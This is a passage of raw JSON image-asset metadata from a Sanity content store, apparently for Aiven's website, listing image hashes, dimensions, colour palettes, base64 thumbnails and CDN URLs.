"Redis-setup.jpg","path":"images/sczeoy4w/production/95b3da31f17e1e918613d63bb20db7b6a2b3f25f-1280x720.jpg","sha1hash":"95b3da31f17e1e918613d63bb20db7b6a2b3f25f","size":66486,"uploadId":"MZvQxOi8x1LPthdTKX3JpThCUmQWRFDB","url":"https://cdn.sanity.io/images/sczeoy4w/production/95b3da31f17e1e918613d63bb20db7b6a2b3f25f-1280x720.jpg"} {"_createdAt":"2024-02-05T21:21:25Z","_id":"image-95f3d8e7b1a68ec23eccdec3677a37adf64a2f41-6000x4000-jpg","_rev":"H1slUvtNVEvBnmPPMTC2PB","_type":"sanity.imageAsset","_updatedAt":"2024-02-05T21:21:25Z","assetId":"95f3d8e7b1a68ec23eccdec3677a37adf64a2f41","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VFExCduPyX;4o|}st,9_-VJnPUw0NGE2RjKh-ARPMynN","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5,"height":4000,"width":6000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAYCBAf/xAAkEAABAwMDBAMAAAAAAAAAAAACAQMEAAUGESEiEhMxQVFhcf/EABcBAAMBAAAAAAAAAAAAAAAAAAADBAX/xAAdEQACAgIDAQAAAAAAAAAAAAABAgADBBESIWEx/9oADAMBAAIRAxEAPwBbyvI5WLzIDUa8OXiOuvULobgn6lKsvIRuUkpsqPuSqjZ+FEfhKvv3QTkkAxWkACQjReSnt419UgxBK6XwIpOE0y68vEV2Hf1U1lJtH3Rmhh5deK5LLyHokLhAbWURMOp2y5IheUorfrDjtsi2tllIjZ9CaKRjqpfdFHNl6Ji2NTksF1v2f//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c2734","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#91231b","foreground":"#fff","population":12.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#91231b","foreground":"#fff","population":12.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#92c4bd","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9dbed0","foreground":"#000","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#669c9e","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d13215","foreground":"#fff","population":10.97,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"AIVEN2687.jpg","path":"images/sczeoy4w/production/95f3d8e7b1a68ec23eccdec3677a37adf64a2f41-6000x4000.jpg","sha1hash":"95f3d8e7b1a68ec23eccdec3677a37adf64a2f41","size":13150133,"uploadId":"TGk3KSHztffvFYkBlHz2Ey7DpAUnr9Of","url":"https://cdn.sanity.io/images/sczeoy4w/production/95f3d8e7b1a68ec23eccdec3677a37adf64a2f41-6000x4000.jpg"} {"_createdAt":"2023-10-19T12:33:59Z","_id":"image-9642d5388812df67abc3b1324f60e4ebe6bc38b2-1200x1200-jpg","_rev":"zE08g5Yj02ino50zLdo8ki","_type":"sanity.imageAsset","_updatedAt":"2023-10-19T12:33:59Z","assetId":"9642d5388812df67abc3b1324f60e4ebe6bc38b2","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"ejKKTYbc%#t6ww~pofxuj?NGIpoeR6R*S3%MfljFayWqxta|V@j?Rk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1200,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGwABAAEFAQAAAAAAAAAAAAAAAAUBAwQGBwj/xAAkEAAABgEDBAMAAAAAAAAAAAAAAQIDBAURBhITByExQTJhcf/EABcBAQEBAQAAAAAAAAAAAAAAAAQCAAH/xAAaEQACAwEBAAAAAAAAAAAAAAAAAQIDERIx/9oADAMBAAIRAxEAPwDrmt75VDUG4wRHIcPY3nwRn7MaHpe81BHv47NxMbmxpqjIsFg2j9Y+hb6o6vqUQ40HnS9N5CwhPfH6IGFqeFSzK2RakaWVKMt+z4mC29KSSG0RrlVKUvTuhYwWQEDAvYdhFRJiSW3WV+FEoBXQbDxgp9117nccUp3Odxn3yM61up9xxFYPm6TJbUF4IgAKxEJvMKwbifDY4o0pxtvOdqVdgABsRw//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c3831","foreground":"#fff","population":2.83,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#25150b","foreground":"#fff","population":0.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cd8170","foreground":"#fff","population":8.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdc5b1","foreground":"#000","population":4.26,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec907e","foreground":"#000","population":0.39,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a36a58","foreground":"#fff","population":3.51,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cd8170","foreground":"#fff","population":8.45,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Phil Leggetter-Hookdeck.jpeg","path":"images/sczeoy4w/production/9642d5388812df67abc3b1324f60e4ebe6bc38b2-1200x1200.jpg","sha1hash":"9642d5388812df67abc3b1324f60e4ebe6bc38b2","size":263702,"uploadId":"ukiWgDm9fBxs8ReXCY3kQQ753JqpYOlp","url":"https://cdn.sanity.io/images/sczeoy4w/production/9642d5388812df67abc3b1324f60e4ebe6bc38b2-1200x1200.jpg"} {"_createdAt":"2022-06-30T19:55:44Z","_id":"image-964346168f16270509994e2d692e29e7cdcfbf40-400x245-png","_rev":"cEPH2uRN58AU2lp9QO7V3x","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:13:52Z","assetId":"964346168f16270509994e2d692e29e7cdcfbf40","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VnKUctNG01RjD%~qofD%j[M{IUaet7kCofIUayt7fks:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6326530612244898,"height":245,"width":400},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACMklEQVQokX2QzW/SYByAuToX0UVn4kfM/EjUg540WQQGMjCOrkwTZvSAH0uWCB7MyBzwtmV8tUdPnkg8eGERI4ujlLTzz1gWd3DbbWSlhdGWvqVFA2UGLj75vZdfnifvm9dy1x+4gwbQ0Pvv7E+h3lAURZJkVVUNw/gzTKfTEUWR4ziSJDEMSyQSltu+pzdnnjxefFeocDWxLvVoqaqu651hDMMQRZFl2UwmAwAgCMJy49HcVS/qWQh9ZbhavSEpiqS0FFVtQdiCUNU02G5rug51XWvrgiAMxde9/gkP6n4TWiuzvFhvysqRLDdlpTey1FIVqLWgJjclpd6oVaubx8/uxhNe/5Vp1PU6lC+zQuMIQg1qA7TbbV3XIFSqVXl3l9/f3+Q4iqL68WWP/9I0+iC4+Cn/7dfvvUOeF2o1c/rwPH9wUN3ZqW5t7W1v06USRVE4jnc/7KIbveCeveV//mIl8fHzl+LGBsMwlUqFYZhyuUzTNF0q0cViaS1PFwo/1tdzuVw6nSZwvHvzuAsZdyHnXbPXfPMzC29X8ARJkhRFkSSZSadTqd5ZXc0QeDaZJLPZVDJJEARuxmNOZMyJnJ5CzrnQyflgaCkCAMAwDAAQi8Wi0Wg01gXE491VDwzD+rHVgVgdyCkHcvbh3OSzV+HIMgaA6cXjcVPFeqp5YT8141E7MmpHTtqRM07//cDL8NJy1z7GlP6B4/jgyjJi843YfCdsPusUei8QDEc+DNr/5y8QerN1BXt5jgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#325464","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#18404c","foreground":"#fff","population":18.44,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":34.63,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b6bcc4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e59695","foreground":"#000","population":0.11,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":34.63,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d45b61","foreground":"#fff","population":0.24,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"964346168f16270509994e2d692e29e7cdcfbf40-400x245.png","path":"images/sczeoy4w/production/964346168f16270509994e2d692e29e7cdcfbf40-400x245.png","sha1hash":"964346168f16270509994e2d692e29e7cdcfbf40","size":25220,"uploadId":"iu9E1u1pjTd9C2ijlsWMmpbCOIT0FDZq","url":"https://cdn.sanity.io/images/sczeoy4w/production/964346168f16270509994e2d692e29e7cdcfbf40-400x245.png"} {"_createdAt":"2023-01-10T10:19:55Z","_id":"image-96801373561b2a0c207b70d7ce2b0979fbedc896-1598x1170-png","_rev":"Y8XrsvoJ4zglb1hB5GEdRZ","_type":"sanity.imageAsset","_updatedAt":"2023-01-10T10:21:35Z","altText":null,"assetId":"96801373561b2a0c207b70d7ce2b0979fbedc896","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3658119658119658,"height":1170,"width":1598},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB7klEQVQokW2S22rdQAxF/f8fVmgJpRTah7wkD8mxx56bpNFlLnaLnZ7Qlmw2GwQzS9IwU/z0tD08zU+vt3l5vc0v8+1lmUNOUmvto7bee9+P49dfOo6jtSaiU/j8vH19Xp5v8+Jm527b/LrNPgcQQTEsUkQvxOh9jDH2fR9jmFVmnmxFW7NkIiqFC0khLiwsZmpV1FTNrNqlemFaa9WqiExHH0dre+vjDt6v+FtjjHvn/a3ez7JPJ6nWE1rrGOP4d73/dRyH1j3A7vNeZLpWFyqlFK61nuDjeMsP1Edfgj38rF9+9Of5vFxKyXCKmVVNRYVF1VptrV3P/a5aqwvy/VG/PfaXdTKzEOPinPceACgj+JhWjyFyRkFUIqViVKywiRiRhKQRmuikqiGEzXtAZGbKkFefljW7DTaPW8AryUfOcFGQEYiK1TqpSE4JAVRERQgg+ZB9yCFC/OMcAsbESEZkOZUYICUVmQwhbWv2G0NWQk6RQmDIgiCId4PQOb8Raop5ddE5QZgMcljXdZlzDOcJAAUwLibXhme+W0yECbfFbbdZIZ2do/fOLcEHLve3ETl/1gc25rK6bZ1nhTxVwuy9dwvEeA6GaIBW3jp/YCkUty06ZwTTUDEEyckIeym9UCfqXLrwh25cFMEQhulvy4NbMBK3fw8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#555456","foreground":"#fff","population":0.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b91f61","foreground":"#fff","population":0.22,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#555456","foreground":"#fff","population":0.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4a4cc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa94e4","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#984448","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ea2a5f","foreground":"#fff","population":0.2,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"stream-mastodon-blog-get-ssl-files.png","path":"images/sczeoy4w/production/96801373561b2a0c207b70d7ce2b0979fbedc896-1598x1170.png","sha1hash":"96801373561b2a0c207b70d7ce2b0979fbedc896","size":45961,"title":null,"uploadId":"KEEfotzQJbyzQ5khWPJseeR9lgotygvS","url":"https://cdn.sanity.io/images/sczeoy4w/production/96801373561b2a0c207b70d7ce2b0979fbedc896-1598x1170.png"} {"_createdAt":"2024-04-30T12:17:25Z","_id":"image-969b12a17559eb6aa8c610616effe3a9c60a096e-2880x1130-jpg","_rev":"DcneF66P6QscvZLjo7zaHP","_type":"sanity.imageAsset","_updatedAt":"2024-04-30T12:17:25Z","assetId":"969b12a17559eb6aa8c610616effe3a9c60a096e","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DH5h+}j=%QaxtTReRgahW9f5","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.5486725663716814,"height":1130,"width":2880},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAIABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAUGB//EACEQAAEEAQMFAAAAAAAAAAAAAAEAAgMEBRETMSEiI1Fh/8QAFgEBAQEAAAAAAAAAAAAAAAAAAQUG/8QAGhEAAgIDAAAAAAAAAAAAAAAAAAECEhETUf/aAAwDAQACEQMRAD8AyLMYWOrsvhHglbrGTyR9Uc2k0EH0iLc6o8J9mW7GmjYpxm7I1srOwDjoERE1QZP/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#0d1f8b","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1c7c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9ca4fc","foreground":"#000","population":0.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#041094","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9ca4fc","foreground":"#000","population":0.08,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#1e277a","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3544cc","foreground":"#fff","population":0.05,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"bg-dark-blue-pattern-left-right.jpg","path":"images/sczeoy4w/production/969b12a17559eb6aa8c610616effe3a9c60a096e-2880x1130.jpg","sha1hash":"969b12a17559eb6aa8c610616effe3a9c60a096e","size":528835,"uploadId":"aPduzc69p4irereTZdDf1o4eF3kFw8gC","url":"https://cdn.sanity.io/images/sczeoy4w/production/969b12a17559eb6aa8c610616effe3a9c60a096e-2880x1130.jpg"} {"_createdAt":"2022-06-30T11:56:58Z","_id":"image-96e6999fd50394bec1a66296f37b44b138ed0f6e-1260x672-png","_rev":"4pG2it9AJU1nJxbjoLCBz0","_type":"sanity.imageAsset","_updatedAt":"2022-09-17T20:45:27Z","assetId":"96e6999fd50394bec1a66296f37b44b138ed0f6e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M4S?DV8w4T-WwO~qMxi{r^r^F1EfJCRonn","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.875,"height":672,"width":1260},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABGUlEQVQokY2S2U4DMQxF8/+fBy8sqlSg66SzZbXjZVBmSkEVtFydhzz4xM5iuof3w2qz2+337XETtg3YTMAqOk063YkZ19Zujodjc2ibrd/Z1GRMzMyqcg8DIXsfXIg+xQAxY6SCVRYR0coNmRCjG+MwQIwFsSyhmrm9LvP/ihE/4tsKXp/KfltiLFTNn/LVOXVS/boNo66n9Qs9P8r2Q3ISEZ5ZUjsv5RUVEeQCjCx1X0OYk2tTb0vwXMps1qKLfoFFkMoIrochF2BmA4hjcL0bnfchRADgc8PriCoxJcqRUmESEZNzPrVdY+2pbfthSKlO/tfDzrPXXZbFLHedPbXO+wxARLdv+BtVg4ij96OrZn3cf/yNMyKf5YyEY372EPYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#545450","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0cbc16","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0cbc16","foreground":"#fff","population":0.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4c4c4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f484cc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c894e","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f95934","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"96e6999fd50394bec1a66296f37b44b138ed0f6e-1260x672.png","path":"images/sczeoy4w/production/96e6999fd50394bec1a66296f37b44b138ed0f6e-1260x672.png","sha1hash":"96e6999fd50394bec1a66296f37b44b138ed0f6e","size":52988,"uploadId":"EnfX6dd5hDQfyjgiyGRlvKS1pOTA06Mo","url":"https://cdn.sanity.io/images/sczeoy4w/production/96e6999fd50394bec1a66296f37b44b138ed0f6e-1260x672.png"} {"_createdAt":"2024-07-29T07:48:39Z","_id":"image-9772d6491cb25412a4e7d6e41d325821052fcfef-2800x1857-png","_rev":"B04nz37LKozZFxwmhIl9Aa","_type":"sanity.imageAsset","_updatedAt":"2024-07-29T07:48:39Z","assetId":"9772d6491cb25412a4e7d6e41d325821052fcfef","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VSGkwi5Si]T0iv}sEkn#X7n$#PR+RiNGjFkst7obaxV@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5078082929456111,"height":1857,"width":2800},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEKElEQVQ4jQEdBOL7AGRaWf9ZWF3/Vlpl/3Z4hf+Wna3/oai//rGo0P+3pOH1wY6t3uCEXui+hWX8cmhm/3eBiP+zxcr50cO05O2TWOLshkH4zota/82TY/7un1f+AFNIQ/5UTUv+V1RW/m9tcP6Dgoj+iYiT/pSOo/+Uiq31p3qG3tx9Uei8fVj8Y1VQ/2dtc/+ou8P5wr245OSMWeLjfkH4v4hk/7+Tcf7hm13+AEg8Mv9ZST3/V0k9/1NJP/9US0T/WlJQ/19aXf9VU132e1NL39N1RenAgFz9YFRR/1xjbv+Zrr76r6+15d6DVePleDn5tHlW/6uAYf/ZjU/+AC8nHvtHOSz8Sjkq/DksHvw5LCH8Rjgu+z41L/0oJiXyTi8i27VmPuW8g2X6al9e/VVcav15jKL3joqT4td2Rt/qci71pWI5/Y1fP/vOezr7ADIxMOY4NzLmOTYv5jYzLudJQz3lWEtE4j04NOQhKCnfNTAtzXtWRNWbemvjdnBy5l9mculfbH/lbWRs08BxS9HcekHioGdD6IlhRefEe0XlAGVvgdthdoTcX3eD3F12g91sgIzXc3+KyUxld9AsV2/YMFlw1ElicdNndoPOgY6ez42Yp9yEjp7ec3yP1omDidWWioTbiYiG3pyWkdzDpY/VAHd5ivOAma7zg6W783+ZqvSCmKfqfpmu1FqFpN8+dZfxPXGS9EBvje5LdZPaco2n2pegr+6ep7X1eJGt81uBovNWfZrzaISb9Jifp/G1r6zoAGJaZ/94ipz/fJao/3J4f/94e4D1eY6g3l5+mOlOaoH9S2R4/0RlfflIcIzjaX2T5IuLkvmVnKb/cI2p/013mv9IcJD/XnGD/4F6evyShoHzAEpGW/5lbH3+bHV//lVQUP9ZUlL1Z3SC3k9ogeg6SVr8Oj5H/zdLXfhDZ4HjbXyJ44iFhvmGkJr/Zoel/k52m/5La4f+WWNt/2hdWfxrXVbyADc5Uv5TUFv+Zlxb/kxBPv9AODr0U1xr3UtlgOgqOk78IiUu/y49TfhIZX3jcHqE44SAf/h9h5P/X4Kh/ktylv5HYHj+T1Rb/lVOS/tbT0ryAB8mPP86NT7/UEE9/z4zL/8wKiz2UlRc3ml0gulDSVH9Kysu/0JHT/lmcoDjd3mC5Htyc/p1eoP/YX6X/01vjf9FW3D/QEVM/0lEQ/1mXFjzAA8ZLOsjIyzrNywq6zwwKuxCNzHiY1pUz4B6ct5wZ1zzU0tA91pVTO90cW7Xcm9z02pkZuZoaG7saXiH62J1h+tQXWrrNTg+7EdDQ+l+dnLfAAsVJrYfHya3QDIrt2VOPrh+Y0+weGVSpnVqWMGEdV/abmFM3lVQPdZdWEq5XVlXqFlXW7NZWF24X2Fmt19iaLdOUFS3MjM1t1BOT7WNiYetKBM4JIhLVvQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#28344e","foreground":"#fff","population":2.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#892306","foreground":"#fff","population":0.25,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6694b5","foreground":"#fff","population":6.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cbb5a1","foreground":"#000","population":2.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa973e","foreground":"#000","population":1.69,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6694b5","foreground":"#fff","population":6.76,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f87c30","foreground":"#000","population":6.66,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"event-montage-aiven-live-nyc-feb-2024.png","path":"images/sczeoy4w/production/9772d6491cb25412a4e7d6e41d325821052fcfef-2800x1857.png","sha1hash":"9772d6491cb25412a4e7d6e41d325821052fcfef","size":8130356,"uploadId":"9TtZxpnKLsxk292wa7JEOd7iyUbtbfle","url":"https://cdn.sanity.io/images/sczeoy4w/production/9772d6491cb25412a4e7d6e41d325821052fcfef-2800x1857.png"} {"_createdAt":"2022-06-15T20:01:28Z","_id":"image-97785404499e43aa021f6cb272dd7691825bb2df-726x406-png","_rev":"cEPH2uRN58AU2lp9QO7W01","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:14:08Z","assetId":"97785404499e43aa021f6cb272dd7691825bb2df","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MIOTquMe#-GZq[*KS~OXrrt7?]JnS#,VO@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7881773399014778,"height":406,"width":726},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACkklEQVQokR3CWU/TAAAA4P4eY6IPRIS13YRtDBktha1bt7Vr1x0QroyIhuADCYRoTAwe0Q3EgAzDMBhNjKKiIZPJsbvHutF1J7v4FQa/fEAGU6WHVZwJ5EwgbwL5kW7RrJJwVd6qKtjAEglWafDCBTbcUNMDtbxX26PwVR8EpAbBjKVPoFHRiQiEgcNgAVVlMVV+RCXjYJGAKg64RsF1Gm4w6qYLbrJwyw213FDbAwMJPZQ2GwXGItBmnkC5Yb2AaSWTLm/Wyaae4oi6YoEv6O6aF+Qm0RM/IfmMdVdvi+1pudRAXKNOooMcaeNJgiNwwW6RaLvspgouW8GKyKhWxjVV303pfmfwyez881ef5vxlP9Wewlu0Fjjt0sT7kQzh4B0UbyNFO5VjWNnjlSlKQoyp/r5T68Axffv9eL9z8ZnlUSg0v6DMz7QmyBahB447NHE9xhOM6PSKlFews5LTm2dGc7gjeUd3oO79YjaFLKZJq9/gCsyxS5HpmerUWMOK1JFeIHpDE9OZBIcvy06J7LTompLY6Rw7mcWZE8jwuQMKD2AhZnzBszzrexmeWMzde1CnyJpBX9VrgcPrmqMuY8xAxIzk2SAZR51JlE4iZLwPP7yl37nWud6t3Rvzf11a+f44kFpZLc8tVBCzAutktQ6I3LVHBsgoQh+h9B/EGR1ijjHmBGP+DtG/jfawFlszYB9nH/4Nvo2vbpyHdqvLT4vUaN5CSxYa4IObXGCTD/4f2OADm8Lqu+zalvgmlF7bir5e//EiENkOp/cP+G8/i5FoY/9XbWevsv2hvL0LlOLJYixZjCWKZ4liLFGKJcvJdDXNVzN8JSMoae48lVFEqaKUakqpWaleliqXstI+L1zKyj9Zi2oAlz27BgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#851326","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b11a33","foreground":"#fff","population":0.91,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dfcfd1","foreground":"#000","population":8.41,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dfcfd1","foreground":"#000","population":8.41,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec9cab","foreground":"#000","population":0.41,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#c6ae93","foreground":"#000","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4b51b","foreground":"#000","population":0.28,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"97785404499e43aa021f6cb272dd7691825bb2df-726x406.png","path":"images/sczeoy4w/production/97785404499e43aa021f6cb272dd7691825bb2df-726x406.png","sha1hash":"97785404499e43aa021f6cb272dd7691825bb2df","size":100551,"uploadId":"niInMkuKWKYjS47aaF1auBbQuj1XvyY8","url":"https://cdn.sanity.io/images/sczeoy4w/production/97785404499e43aa021f6cb272dd7691825bb2df-726x406.png"} {"_createdAt":"2022-07-08T09:49:21Z","_id":"image-97aac1ea63638b748b5c08d9997573cb04da50d7-1486x442-png","_rev":"QRl2cGoCgj0FlAhkRriUcc","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:31:31Z","assetId":"97aac1ea63638b748b5c08d9997573cb04da50d7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DDQ0XHIU~q_3xu-;xuxuM{D%","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.3619909502262444,"height":442,"width":1486},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAABYlAAAWJQFJUiTwAAABJklEQVQYlTWR56qDQBSEff/HSiyoia5ldSUhTRMLpjcCgbnMueTHwRXnzH4zWrfbDc/nE6/XS4bn/X6PKIowm81gqgq51rAdB7Zto6oqXC4XXK9XHA4HbLdb1HWNrutwOp1gtW2LpmlkeB6GAZvNBnEcYz6fI89zaK0RxTGCMESapvKdemMMlFKiWa/X/4ar1QpZliEMQzGhiO+u58F1XagkEUIuUkPqoiiEioRN0wjd+XzG/X6HdTwesdvtxMz3fahEIUlT+EEgRLooxJC01CwWC/R9L5FZF+fz+eD7/eL9fsNib4/HQ+L+IpCKEyuFNMtQGiOR2C1JuEhDgjDhOI5iKobE/P0MRiAFy+dMplM4joOyLKUf6rjEJwFI7XkelsulXMDIf5YHsNYC3XQxAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#595959","foreground":"#fff","population":3.64,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c685e","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#808080","foreground":"#fff","population":4.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1c0c1","foreground":"#000","population":2.7